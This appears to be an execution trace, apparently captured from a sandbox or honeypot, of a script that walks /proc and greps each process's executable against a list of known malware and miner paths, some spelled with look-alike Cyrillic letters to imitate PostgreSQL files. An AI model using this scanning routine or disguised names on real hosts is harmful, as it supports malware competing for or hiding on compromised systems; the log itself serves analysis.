[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/457]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/462]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/465]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/468]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/474]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/483]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/484]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/494]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/5]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/514]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/515]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/539]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/555]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/559]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/583]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/6]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/609]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/612]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/644]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/661]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/674]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/676]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/686]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/688]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/7]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/708]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/731]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/746]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/78]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/79]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/8]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/80]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/81]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/82]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/83]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/84]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/85]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/89]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/9]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/939]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/957]

/bin/grep

